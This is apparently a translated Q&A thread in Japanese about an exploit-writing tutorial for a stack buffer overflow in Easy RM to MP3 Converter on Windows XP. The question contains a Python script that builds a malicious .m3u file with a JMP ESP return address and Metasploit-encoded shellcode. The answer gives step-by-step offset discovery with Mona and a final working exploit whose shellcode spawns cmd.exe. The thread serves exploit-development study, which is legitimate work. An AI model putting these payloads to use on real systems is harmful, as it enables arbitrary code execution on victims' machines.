web-dev-qa-db-ja.com

fnstenvでWindows XPのシェルコードにNULLアドレスが表示されるのはなぜですか?

私はエクスプロイトの作成に関する入門チュートリアルを行っています。これは ここにあります です。このチュートリアルでは、Easy RMからMP3への変換ユーティリティの単純なスタックベースのバッファオーバーフローの脆弱性について説明します。基本的なPoCが機能していました(ただし、同じバージョンを使用していても、EIPを上書きするために作成者とは異なるオフセットが見つかりました)。言い換えると、EIPを制御して、シェルコードの前にnopsledにジャンプさせることができ、break命令のみを含むテストシェルコードは完全に正常に機能しました。しかし、(チュートリアルで示されているように)metasploitで生成された実際のシェルコードを使用すると、問題が発生しているようです。これは、チュートリアルの実行中に書いたPythonスクリプトです(Perlを使用したくなかった...):

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"

preshell = "X" * 4

shellcode = nop*25
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"

payload = junk + eip + preshell + shellcode

with open(filename, "wb") as file:
    file.write(payload)

以下は、シェルコードがクラッシュした後のWindbgの表示です(jmp espが完全に正常に動作し、例外がシェルコード内で発生したことに注意してください)。

enter image description here

デバッガーを調べたところ、シェルコードの最初の方に表示されるfnstenv命令に問題があるようです。 このPhrackの記事 で見つけたものから、fnstenvは、スタックからレジスターにEIPをポップさせる方法として使用されます。

EIPを取得するために使用されているもう1つの興味深いメカニズムは、いくつかの特別なFPU命令を使用することです。これは、ディスカッションのVuln-DevメーリングリストのAaron Adamsによって実装され、純粋なASCIIシェルコードを作成します。コードは、fnstenv/fstenv命令を使用してFPU環境の状態を保存します。

fldz

fnstenv [esp-12]

ポップecx

cl、10を追加

いや

ECXはEIPのアドレスを保持します。ただし、これらの命令は非標準のASCII文字を生成します。

これは、エンコードされたシェルコードをデコードするために必要/便利なようです。ただし、fnstenv呼び出しの後にスタックからポップされるアドレスは常にNULL(0x00000000)となり、その後シェルコードがクラッシュします。私は別のWindowsでこのエクスプロイト/シェルコードを試してみましたXP VM元々自分で設定していませんでした)同じ結果に気づきましたハプニング。

私の質問は単に、なぜこれが起こっているのですか? fnstenv命令が失敗し、EIPのアドレスではなくNULLアドレスが発生する原因は何ですか?変更する必要のある設定(おそらく、VMのVirtualboxのハードウェア設定で何か)があり、これが正しく機能していませんか?

1
saltthehash

何が起こったかをリバースエンジニアリングしましょう:

  • 0x00000018にアクセスしようとするため、アクセス違反
  • POP EAXはレジスタ0をロードするため
  • このx86命令セット参照 によると、これはFPULastInstructionOpcodeになるはずです。

しかし、ESP値はシェルコードの開始点です。なぜですか?そのアドレスの前に書き込むことができないためです。一方、[esp- 0Ch] FPU環境の保存用。

私はあなたのバージョンを実行しようとしましたが、別のエラーが発生しました:

first try

また、動作しないCorelanバージョンも試しました。ご覧のように、私のバージョンではより複雑になりました。

私はあなたのエクスプロイトのバージョンをデバッグすることはできませんが、この脆弱性に対するエクスプロイトを構築するステップバイステップであなたを示すことができます。私はEasy RM to MP3 Converter 2.7.3.700(setup 2.8 MiB)from this Exploit Database page on myを使用していますWindows XP Professional SP3トルコ語。最初に、30000文字のMona.pyパターンを作成しました。RM2MP3Converter.exeImmunity Debuggerに添付します細工されたsploit.m3uファイルをロードしました。

Program crash with mona pattern

Python script pattern.py を使用すると、EIPオフセットをすぐに見つけることができます*:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x48386B48 30000
hex pattern decoded as: Hk8H
5784
26064

ESPスタック内のポイント:

Follow ESP in stack

0Hl1または16進値を使用できます。

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x316C4830 30000
hex pattern decoded as: 0Hl1
5792
26072

調査結果を確認してみましょう。

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = "B" * 4
junk2 = "C" * 4
p_esp = "D" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

クラッシュ値は、私たちのエクスプロイトを確認します:

Analyzing pre-exploit

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26064
s_eip = pack("I", 0x77fab277)
junk2 = "C" * 4
p_esp = "\xCC" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

次に、実行可能セグメントJMP ESPを見つける必要があります。次のMona.pyコマンドを使用します。

!mona find -type instr -s "JMP ESP" -x X

Found lots of "JMP ESP"

from struct import pack

filename = "sploit.m3u"
junk1 = "B" * 4
junk2 = "A" * 26060
s_eip = pack("I", 0x77fab277)
junk3 = "C" * 4
p_esp = "\xCC" * 4

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Mona.pyのおかげで、OSライブラリにたくさんの「jmp esp」が見つかりました。 0x77fab277アドレスで最初のものを選択します。

000FFD38   CCCCCCCC  ÌÌÌÌ
000FFD3C   00000000  ....
000FFD40   00BC004C  L.¼.
000FFD44   00104A58  XJ.
000FFD48   00000000  ....
000FFD4C   00000000  ....
000FFD50   42424242  BBBB
000FFD54   41414141  AAAA
000FFD58   41414141  AAAA

ESPが示す場所で割り込みシーケンスにヒットします。もう少しトリックを追加すると、ADD AH, CLを追加してシェルコードを着陸させることができます

Nopsled and land on shellcode

これは私たちのPythonコードです:

from struct import pack

filename = "sploit.m3u"
junk1 = ""
junk2 = "\xCC" * 26064
s_eip = pack("I", 0x77fab277)
junk3 = "A" * 4
p_esp = "\x90" * 31

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

長いデバッグセッションの後、次のようになります。

We get cmd.exe

Pythonコード:

from struct import pack

filename = "sploit.m3u"
junk1 = "F" * 2
junk1 += "B" * 8
junk1 += "\x90" * 20
shellcode = "\x8b\xec\x55\x8b\xec"
shellcode += "\x68\x65\x78\x65\x2F"
shellcode += "\x68\x63\x6d\x64\x2e"
shellcode += "\x8d\x45\xf8\x50\xb8"
shellcode += "\xc7\x93\xc1\x77"
shellcode += "\xff\xd0"
junk2 = "\xCC" * (26064-len(junk1)-len(shellcode))
s_eip = pack("I", 0x77fab277)
junk3 = "\x90" * 35

payload = junk1 + shellcode + junk2 + s_eip + junk3

with open(filename, "wb") as file:
    file.write(payload)

Corelanおよび this Exploit-db バージョンとは異なります。シェルコード here を見つけることができます。

  • スタック内のデータの残りを使用して無害な命令をエミュレートするために、ダブル「F」を使用
  • 8つの「B」は残りの部分で、どこにも書かれていないようです。
  • junk3はシェルコードの前に書かれており、データを飛び越えることができます。

* Monaは最初に出現するシーケンスのみを検出します。

2
d36f